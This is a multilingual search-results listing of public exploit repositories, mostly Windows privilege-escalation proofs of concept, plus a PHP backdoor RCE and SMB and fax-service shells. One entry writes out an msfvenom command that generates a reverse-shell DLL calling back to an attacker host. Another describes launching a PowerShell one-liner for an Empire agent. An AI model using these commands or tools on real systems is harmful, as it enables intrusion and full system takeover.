127 matches found
awesome_windows_logical_bugs
awesomewindowslogicalbugs Dieses Repository wurde für Leute erstellt, die mehr über Windows logische Privilegien-Eskalationsfehler erfahren möchten. Außerdem habe ich einige meiner eigenen Funde hinzugefügt. Du kannst mich über @404death kontaktieren, um gute Artikel hinzuzufügen, die ich überseh...
vss-fr2system
vss-fr2system Zwei kleine Tools, die einen Arbitrary File Read -Bug unter Windows in eine SYSTEM-Shell verwandeln. vssfreeze/ — erstellt als Standardbenutzer einen Volume Shadow Copy und hält ihn offen, sodass Sie Zeit haben, die SAM-/SECURITY-/SYSTEM-Hives daraus auszulesen fr2system/ — nimmt di...
php-8.1.0-dev-backdoor-rce
PHP 8.1.0-dev Backdoor Remote Code Execution PHP 8.1.0-dev Backdoor-System-Shell-Skript PHP Version 8.1.0-dev wurde am 28. März 2021 mit einer Hintertür veröffentlicht, aber die Hintertür wurde schnell entdeckt und entfernt. Wenn diese Version von PHP auf einem Server läuft, kann ein Angreifer...
CVE-2019-12476
ADSelfService-Plus-PoC CVE-2019-12476 ADSelfService Plus versione 4.3.3 PoC per un bypass dell'autenticazione su Windows 10. Colpisce tutte le versioni di Windows Video del PoC Passaggi per riprodurre 1. Disconnettersi dalla propria rete aziendale 2. Connettersi al proprio hotspot personale 3...
CVE-2021-21551
CVE-2021-21551 Exploit zu SYSTEM für CVE-2021-21551 SpoolPrinter Privesc mittels SeImpersonatePrivileges wurde dank @ForrestOrr erstellt https://github.com/forrest-orr/DoubleStar/tree/main/Payloads/Source/Stage3SpoolPotato Ich habe im Grunde nur die Exploit-Funktion in seinen Code geworfen und si...
ms09-050-CVE-2009-3103-exploit
Wrapper do Exploit MS09-050 SMBv2 Configuração em uma linha para exploração do MS09-050 CVE-2009-3103. Sem complicação, sem depuração, simplesmente funciona. Por quê? A maioria dos scripts MS09-050 por aí exige injeção manual de shellcode, tem problemas de temporização com handlers, ou simplesmen...
CVE-2017-0213
CVE-2017-0213 Ho utilizzato il codice fornito dal Google Project Zero Team qui: https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213 Le modifiche che ho apportato permettono al programma di chiamare un powershell oneliner che mi darà un agente Empire sul target. Lo userò per...
CVE-2019-0708-EXP-Windows
CVE-2019-0708-EXP-Windows-Version Haftungsausschluss Der Autor stellt diesen PoC ausschließlich zu Forschungszwecken bereit. Wenn ein Leser diesen PoC für andere Handlungen nutzt, hat das nichts mit dem Autor zu tun. Inhaltsverzeichnis toc Einführung Die Windows-Version von CVE-2019-0708-EXP ist...
PrintNightmare-LPE
CVE-2021-1675PrintNightmare poc de shell do sistema para CVE-2021-1675 Elevação de Privilégio do Windows Print Spooler créditos: Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Ref: https://github.com/afwu/PrintNightmare windows 10 windows server 2012 Crédito a todos os pesquisadores que...
CVE-2022-25949
CVE-2022-25949 Un exploit vieux de plusieurs années d'une vulnérabilité d'élévation de privilèges locale EoP dans le pilote KWatch de Kingsoft Antivirus, version 2009.3.17.77. 2009..? J'ai signalé le problème en janvier 2014 et j'ai été informé du CVE plus de 8 ans plus tard. J'ai décidé de mettr...
RoguePlanet
RoguePlanet RoguePlanet Windows Defender Schwachstelle Willkommen zurück allerseits !!! Der Exploit ist eine Race Condition, also ist es Glückssache. Ich habe auf manchen Maschinen eine 100% Erfolgsrate erzielt, während er auf anderen nicht funktionierte. Der Exploit wurde unter Windows 11...
NimNightmare
CVE-2021-1675 LPE PoC nicht mein Exploit! wollte nur mit der winim-Bibliothek in nim herumspielen. Verwendung Generieren Sie das DLL-Payload mit msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll, starten Sie dann den Handler auf Ihrem Angreifer. Führen Sie...
faxhell
faxhell "Fax Shell" Una shell di tipo bind shell Proof-of-Concept che utilizza il servizio Fax e un dirottamento di DLL basato su Ualapi.dll. Vedi il nostro approfondimento su: https://windows-internals.com/faxing-your-way-to-system/ Come usare Compila Ualapi.dll e posizionala in...
SeManageVolumeExploit
SeManageVolumeExploit यह एक्सप्लॉइट मशीन पर सभी उपयोगकर्ताओं के लिए C:\ ड्राइव पर पूर्ण अनुमति प्रदान करता है। टोकन में विशेषाधिकार सक्षम करता है SYNCHRONIZE | FILETRAVERSE के साथ \.\C: का हैंडल बनाता है S-1-5-32-544 को S-1-5-32-545 से बदलने के लिए FSCTLSDGLOBALCHANGE भेजता है सिस्टम शेल एक्सेस क...
globalprotect-ca-cert-ipc
c2us.exe - Lança um comando como o usuário em execução na sessão de desktop do usuário conectado. Neste caso, lança cmd.exe como SYSTEM na sessão de desktop do usuário sem privilégios. c2us.c - Código-fonte do c2us.exe. epinject.exe - Injetor de ponto de entrada, usado para gerar um novo processo...
SharpPolarBear
SharpPolarBear Questa è una versione armata per uno degli Exploit pubblicati da SandboxEscaper da qui https://github.com/SandboxEscaper/polarbearrepo. La maggior parte del codice proviene dal repository CollectorService di rasta-mouse https://github.com/rasta-mouse/CollectorService. Ho...
DirCreate2System
DirCreate2System Transformando em arma para obter NT AUTHORITY\SYSTEM por meio de bugs de criação de diretórios privilegiados com o Windows Error Reporting Descrição resumida: Descobri que comctl32.dll que está ausente no diretório do sistema, que na verdade não existe foi carregada por wermgr.ex...
Lenovo-CVE-2025-8061
Lenovo-CVE-2025-8061 PoC zum Öffnen einer System-Shell gegen den LnvMSRIO.sys-Treiber 3.1.0.36. Alle Credits gehen an den ursprünglichen Autor Luis Casvella von Quarkslab. Dies funktioniert gegen die neueste Windows-11-Version 24H2 mit deaktiviertem KVAShadowing und deaktivierter Core Isolation!...
